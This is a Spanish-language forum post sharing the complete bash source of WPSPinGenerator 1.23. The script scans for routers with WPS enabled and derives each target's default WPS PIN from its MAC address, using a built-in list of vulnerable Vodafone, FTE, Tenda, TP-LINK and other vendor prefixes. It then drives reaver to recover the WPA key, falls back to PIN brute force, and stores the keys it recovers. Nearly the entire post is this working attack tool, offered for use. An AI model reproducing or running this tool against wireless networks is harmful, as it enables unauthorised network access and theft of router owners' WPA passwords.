El hilo , se abrio al comienzo de escribir decha herramienta , por que se toqueteo bastante hasta que la dejemos al gusto de todos.
Las funciones y demas son las mismas siempre, solo se amplia el listado de macs , nada mas.
en wifiway ni siquiera puede existir esta herramienta , a menos que la tengais en un modulo xzm.
Cada 3 o 4 meses ( a veces menos ) , se publica una nueva wifislax , asi que la verdad es que se abandono un poco esto , el ultimo que yo veo en este post en
version=
veo que pone 1.10
yo tengo 1.23 , no se si wifislax-4.6 lleva la 1.22 o la 1.23 , pero en realidad el cambio fue añadir 2 o 3 macs.
te pego el code de la 1.23
#!/bin/bash
# www.seguridadwireless.net
#
# Búsqueda de redes con WPS activo (wash), cálculo del posible PIN por defecto
# y prueba del PIN calculado (reaver)
#######################################
############# CHANGELOG #############
#######################################
# 19/07/2013 VERSION 1.23
# - Añadida opción de iniciar ataque de fuerza bruta con reaver en caso de no conseguir la clave con el PIN calculado
# - Eliminada opción de escanear en 5GHZ (ninguno de los routers de los que se puede obtener el pin por defecto emite en esa frecuencia)
# - Eliminada la opción de mostrar mas información mientras que se prueba el pin con reaver, ahora siempre muestra la información (es inútil no mostrarla, ya que si no ves lo que está pasando no sabes si el PIN es incorrecto o si no se obtiene la clave por que no se consigue asociar con el AP)
# - Ya no se eliminan las capturas anteriores al inizar el script, así evitamos tener que volver a escanear obligatoriamente en cada inicio.
# 12/06/2013 VERSION 1.22 Se añade 1 mac vodafoneXXXX
# 31/05/2013 VERSION 1.21 Se añaden 6 nuevos routers soportados
# 29/05/2013 VERSION 1.20 Se incorpora code para levantar interfaces y asegurar el funcionamiento de las ralink ademas del parametro -a en el ataque.
# 22/03/2013 VERSION 1.19 Se añaden 2 macs TP-LINK
# 01/03/2013 VERSION 1.18 Se rescata compatibilidad vodafone 62:53:D4 eliminada por error y se añade una nueva vodafone 62:6B:D3 ( mac nueva 2013 )
# 23/02/2013 VERSION 1.17 Se añadi soprte a un router FTE-XXXX ,un vodafonexxxx ,y se cambian los tres ??? por Tenda y los Zyxel por WLAN_????
# 14/02/2013 VERSION 1.16 Se añade soporte a router Inves -->> 00:1D:1A
#######################################
#######################################
# Levantar interfaces para que las ralink funcionene en reaver
IW="$(iwconfig 2>/dev/null|cut -d" " -f1|grep -v "^$")"
IF="$(ifconfig|cut -d" " -f1)"
for x in $IW; do
if [ ! "$(echo "$IF"|grep -x "$x")" ]; then
ifconfig $x up &>/dev/null
fi
done
# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.23"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"
MACs_Soportadas='
ESSID BSSID
-------- --------
FTE-???? 04:C0:6F
FTE-???? 20:2B:C1
FTE-???? 28:5F:DB
FTE-???? 34:6B:D3
FTE-???? 80:B6:86
FTE-???? 84:A8:E4
FTE-???? B4:74:9F
FTE-???? BC:76:70
FTE-???? CC:96:A0
FTE-???? F8:3D:FF
vodafone???? 5C:4C:A9
vodafone???? 62:A8:E4
vodafone???? 62:B6:86
vodafone???? 62:C0:6F
vodafone???? 62:C6:1F
vodafone???? 62:C7:14
vodafone???? 62:E8:7B
vodafone???? 62:23:3D
vodafone???? 62:3C:E4
vodafone???? 62:3D:FF
vodafone???? 62:53:D4
vodafone???? 62:55:9C
vodafone???? 62:6B:D3
vodafone???? 62:7D:5E
vodafone???? 6A:1D:67
vodafone???? 6A:23:3D
vodafone???? 6A:3D:FF
vodafone???? 6A:53:D4
vodafone???? 6A:55:9C
vodafone???? 6A:6B:D3
vodafone???? 6A:7D:5E
vodafone???? 6A:A8:E4
vodafone???? 6A:C0:6F
vodafone???? 6A:C6:1F
vodafone???? 6A:C7:14
vodafone???? 6A:D1:5E
vodafone???? 6A:D1:67
vodafone???? 72:A8:E4
vodafone???? 72:C0:6F
vodafone???? 72:C7:14
vodafone???? 72:D1:5E
vodafone???? 72:E8:7B
vodafone???? 72:1D:67
vodafone???? 72:3C:E4
vodafone???? 72:3D:FF
vodafone???? 72:53:D4
vodafone???? 72:55:9C
vodafone???? 72:6B:D3
vodafone???? 72:7D:5E
Belkin_N+_?????? 00:22:75
belkin.??? 08:86:3B
belkin.??? 00:1C:DF
WLAN_???? 00:A0:26
WLAN_???? 50:57:F0
WLAN_?? 00:A0:B6
Jazztel_?? C8:D1:5E
SEC_ LinkShare_?????? E4:7C:F9
SEC_ LinkShare_?????? 80:1F:02
C300BRS4A 00:22:F7
Inves 00:1D:1A
Tenda C8:3A:35
Tenda 00:B0:0C
Tenda 08:10:75
TP-LINK_?????? 64:70:02
TP-LINK_?????? 90:F6:52
TP-LINK_?????? B0:48:7A
TP-LINK_?????? F8:D1:11
Default 00:1F:1F
Default 00:26:CE
???? 00:15:77
'
# Algoritmos del script WPSPIN
#Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
function wps_pin_checksum() {
acum=0
PIN_p2=0
while [ $pin -gt 0 ]; do
acum=$(($acum + (3 * ($pin % 10))))
pin=$(($pin / 10))
acum=$(($acum + ($pin % 10)))
pin=$(($pin / 10))
done
result=$(((10 - ($acum % 10)) % 10))
PIN_p2=$(($result % 10000000))
}
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
#DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
#CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
#segunda parte de bssid xx:xx:xx:XX:XX:XX
BSSID_p2=$(echo $BSSID | cut -d ':' -f4-)
#6 últimos dígitos de bssid sin ':'
MAC=$(echo $BSSID_p2 | tr -d ':')
#MAC = 6 últimos dígitos hex de la mac
hex=$(echo -n $MAC | tr [:lower:] [:upper:]) #minúsculas a mayúsculas
#PIN_p1 primera parte del pin, PIN_p2 segunda parte del pin
PIN_p1=$(echo "ibase=16; $hex"|bc) #convertir hex a decimal
#PIN_p1=$(printf '%d' 0x$hex) #convertir hex a decimal, otra forma
PIN_p1a=$(($PIN_p1 % 10000000)) # elimina dígito más significativo de PIN_p1
#PIN_p1b=$((($PIN_p1 % 10000000)+8)) # elimina dígito más significativo y suma 8
#PIN_p1c=$((($PIN_p1 % 10000000)+14))
pin=$PIN_p1a
wps_pin_checksum
PINWPS1=$(printf "%07d%d" "$PIN_p1a" "$PIN_p2")
#pin=$PIN_p1b
#wps_pin_checksum
#PINWPS2=$(printf "%07d%d" "$PIN_p1b" "$PIN_p2")
#pin=$PIN_p1c
#wps_pin_checksum
#PINWPS3=$(printf "%07d%d" "$PIN_p1c" "$PIN_p2")
if [ "$CHECKESSID" = "FTE" ];
then
#FIN_ESSID=XXXX <- FTE-XXXX
FIN_ESSID=$(echo $ESSID | cut -d '-' -f2)
#nos quedamos con el 4 par de la bssid xx:xx:xx:XX:xx:xx
PAR=$(echo $BSSID_p2 | cut -d ':' -f1)
PAR=$(echo $PAR | tr -d ':')
#hex=AB1234, donde essid es FTE-1234 y bssid es xx:xx:xx:AB:xx:xx
hex=$(echo $PAR$FIN_ESSID)
MAC=$(printf '%d' 0x$hex) #hex to dec
PIN_p1=$((($MAC % 10000000)+7)) # elimina dígito más significativo de MAC y +7
pin=$PIN_p1
wps_pin_checksum
PINWPS4=$(printf "%07d%d" "$PIN_p1" "$PIN_p2")
fi
}
# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
ETH=$(ip route|awk '/default/ {print $5}')
HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
if [ "$HW_ETH" = "$HW_WIFI" ];then
echo
echo "[0;31mPara evitar errores, la interface \"$ETH\" no debe estar conectada a internet! [0m"
echo ""
echo "Presiona enter para volver al Menú"
read junk
menu
fi
fi
}
# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
longueur=${#BSSID}
if [ $longueur -eq 17 ] ; then
i=$(($i+1))
WPSbssid[$i]=$BSSID
WPSCHANNEL[$i]=$Channel
WPSessid[$i]=$ESSID
PWR[$i]=$RSSI
fi
redesWPS=$i
done < $TMP/wash_capture
if [ "$redesWPS" = "0" ];then
clear
echo ""
echo ""
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna RED "
echo " con WPS activado en la captura"
echo ""
echo " Pulsa INTRO para volver al Menú"
read junk
InfoAP="OFF"
menu
else
clear
echo ""
echo " [1;32mLas siguientes redes son susceptibles de ataque con REAVER[0m"
echo ""
echo " MAC Soportada PWR Channel ESSID"
echo ""
countWPS=0
while [ 1 -le $i ]; do
countWPS=$(($countWPS+1))
ESSID=${WPSessid[$countWPS]}
BSSID=${WPSbssid[$countWPS]}
PWR=${PWR[$countWPS]}
CHANNEL=${WPSCHANNEL[$countWPS]}
MAC_Recortada=$(echo "$BSSID"|rev|cut -d: -f4-|rev)
if [ "$(echo "$MACs_Soportadas"|grep $MAC_Recortada)" != "" ]; then
ESSID_Soportado=$(echo "$MACs_Soportadas"|grep $MAC_Recortada|awk '{print $1}')
ESSID_Recortado=$(echo "$ESSID_Soportado"|tr -d '?')
if [ "$(echo "$ESSID"|grep "^$ESSID_Recortado")" != "" ] && [ "${#ESSID_Soportado}" = "${#ESSID}" ]; then
SOPORTADA="[1;32mSI[0m"
else
SOPORTADA="[1;33m¿?[0m"
fi
else
SOPORTADA="NO"
fi
echo " $countWPS) $BSSID $SOPORTADA $PWR $CHANNEL $ESSID"
i=$(($i-1))
done
i=$redesWPS
echo ""
echo " 0) Para volver al menu "
echo ""
echo ""
echo " --> [1;36mSeleccione una red[0m"
read WPSoption
set -- ${WPSoption}
if [ $WPSoption -le $redesWPS ]; then
if [ "$WPSoption" = "0" ];then
menu
fi
ESSID=${WPSessid[$WPSoption]}
BSSID=${WPSbssid[$WPSoption]}
CHANNEL=${WPSCHANNEL[$WPSoption]}
clear
else
echo " Opción no válida... vuelva a elegir"
sleep 2
SeleccionarObjetivo
fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}
# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
echo ""
echo " [1;33m--> [1;32mIntroduce en segundos el tiempo de espera para escanear (30 por defecto): [0m"
read SCANTIME
if [ "$SCANTIME" != "" ] && [ "$(echo $SCANTIME|grep -i [a-z])" = "" ]; then
$@
else
SCANTIME=30
fi
echo ""
echo " [1;33m--> [1;32mIntroduce número de canal a escanear [1-14] (Todos por defecto): [0m"
read SCANCHANNEL
if [ "$SCANCHANNEL" != "" ] && [ "$(echo $SCANCHANNEL|grep -i [a-z])" = "" ]; then
SCANCHANNEL="-c $SCANCHANNEL"
else
SCANCHANNEL=""
fi
echo ""
if [ -e "$TMP/wash_capture" ]; then rm -rf "$TMP/wash_capture"; fi
xterm -iconic -e wash -i $WIFI -C $SCANCHANNEL -o $TMP/wash_capture &
WashPID=$!
sleep $SCANTIME && kill $WashPID &>/dev/null &
sec_rem=$SCANTIME
while true; do
let sec_rem=$sec_rem-1
interval=$sec_rem
seconds=`expr $interval % 60`
interval=`expr $interval - $seconds`
sleep 1
clear
echo "[1;33mEscaneando en busca de objetivos... [1;36m$seconds[0m [1;33msegundos[0m"
echo ""
cat $TMP/wash_capture
if [ ! -e /proc/$WashPID ]; then
sleep 1
break
fi
done
SeleccionarObjetivo
}
auto_select_monitor() {
#! /bin/bash
#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar en modo monitor
#############################################################################################################
#poner tarjeta en modo monitor AUTOMATICO
clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v mon `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d ' ' -f 1 | awk '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d ' ' -f 2 | awk '{print $1}'`
rm -rf $TEMP/wireless.txt
if [ "$tarj1" = "" ]; then
clear
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo " Pulsa ENTER para volver al Menú"
read yn
menu
fi
if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi
tarjselec=$tarj1
if [ "$tarj2" != "" ] ;then
echo
echo
echo " Se han encontrado las siguientes tarjetas wifi en este equipo"
echo
airmon-ng |awk 'BEGIN { print "Tarjeta Chip Driver\n------- ------------------ ----------" } \
{ printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface |grep -v Chipset
echo " Selecciona una para utilizarla en modo monitor"
echo
tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset `; do
break;
done
if [ "$tarjselec" = "" ]; then
echo " La opción seleccionada no es válida"
echo " Introduce una opción válida..."
selectarj
fi
}
if [ "$tarjselec" = "" ]; then
selectarj
fi
echo ""
echo "Interface seleccionado: $tarjselec"
fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo " Se está montando la tarjeta en modo monitor, espera..."
echo ""
sleep 1
# Limpieza de interface
ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null
airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo " $WIFI ----> Se utlilizará en modo monitor."
sleep 2
else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"
echo ""
echo " $WIFI ----> Se utlilizará en modo monitor."
sleep 2
fi
fi
clear
}
ObtenerWPA() {
if [ "$WIFI" = "" ]; then auto_select_monitor && ObtenerWPA; fi
CheckETH
if [ "$1" != "--brouteforce" ]; then
if [ "$CHECKESSID" = "FTE" ]; then
PIN=$PINWPS4
else
PIN=$PINWPS1
fi
echo ""
echo " [1;33m--> [1;32mIntroduce en segundos el tiempo de espera para probar el PIN (30 por defecto): [0m"
read REAVERTIME
if [ "$REAVERTIME" != "" ] && [ "$(echo $REAVERTIME|grep -i [a-z])" = "" ]; then
$@
else
REAVERTIME=30
fi
echo ""
xterm -iconic -e reaver -i $WIFI -b $BSSID -c $CHANNEL -a -p $PIN -vv -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep $REAVERTIME && kill $ReaverPID &>/dev/null &
else
xterm -iconic -e reaver -i $WIFI -b $BSSID -c $CHANNEL -a -vv -o $TMP/reaver_capture.$$ &
ReaverPID=$!
fi
while true; do
sleep 1
clear
echo "[1;33mObteniendo clave WPA...[0m"
echo ""
cat $TMP/reaver_capture.$$
if [ ! -e /proc/$ReaverPID ]; then
sleep 1
break
fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
while true; do
echo "[1;31mNo ha sido posible obtener la clave WPA[0m"
echo ""
echo "Selecciona una opción:"
echo ""
echo " 1) Volver a intentar con el PIN calculado"
echo " 2) Probar todos los posibles pines (fuerza bruta)"
echo " 0) Volver al menú principal"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
1 ) ObtenerWPA; break;;
2 ) ObtenerWPA --brouteforce; break;;
0 ) ShowWPA="OFF"; menu; break;;
* ) echo "[1;31mOpción incorrecta[0m"; sleep 1; clear;;
esac
done
else
WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
echo "ESSID: $ESSID" > $TMP/$WPA_TXT
echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
ShowWPA="ON"
echo "[1;31mLa clave ha sido guardada en \"$KEYS/$WPA_TXT\"[0m"
fi
echo ""
echo "Presiona enter para volver al Menú"
read junk
menu
}
#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
echo ""
echo ""
echo " ####################################################################"
echo " ### ###"
echo " ### ¿Quieres desmontar la tarjeta antes de salir? ###"
echo " ### ###"
echo " ### (n) no -> Salir sin desmontar ###"
echo " ### (m) Menú -> Volver al menú principal ###"
echo " ### ENTER -> Desmontar y Salir ###"
echo " ### ###"
echo " ### ###"
echo " ####################################################################"
echo ""
echo ""
read salida
set -- ${salida}
if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
}
# Menú principal
menu() {
clear
echo "[0;31m
__ __ ___ _
/ / /\ \ \____ ___ / _ (_)_ __
\ \/ \/ / _ \/ __| / /_)/ | /_ \
\ /\ /| |_) \__ \ / ___/| | | | |
\/ \/ | __/|___/ \/ |_|_| |_| [1;33mGenerator $VERSION[0;31m
|_| www.seguridadwireless.net "
echo ""
echo " ****************************************************"
echo " * [1;32m<<[0m Based on ZhaoChunsheng work & kcdtv script [1;32m>>[0;31m *"
echo " ****************************************************[0m "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
echo "INFO AP OBJETIVO"
echo ""
echo " ESSID = $ESSID"
echo " Canal = $CHANNEL"
echo " MAC del AP = $BSSID"
if [ "$CHECKESSID" = "FTE" ]; then
echo " Posible pin WPS = $PINWPS4"
else
echo " Posible pin WPS = $PINWPS1"
fi
if [ "$ShowWPA" = "ON" ]; then
echo " Clave WPA = $WPA_KEY"
fi
echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
1 ) WashScan;;
2 ) ObtenerWPA;;
3 ) SeleccionarObjetivo;;
0 ) DESMONTAR_tarj_y_salir;;
* ) echo "Opción incorrecta"; menu;;
esac
}
# Comprobación de usuario
if [ "$(whoami)" != "root" ]; then
echo -e "\e[1;31m
Debes ser root para ejecutar este script.
Prueba: sudo bash $0
\e[0m"
exit 1
fi
# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
fi
fi
# Eliminando interfaces en modo monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
for monx in $interfaces; do
airmon-ng stop $monx >/dev/null 2>&1
done
fi
menu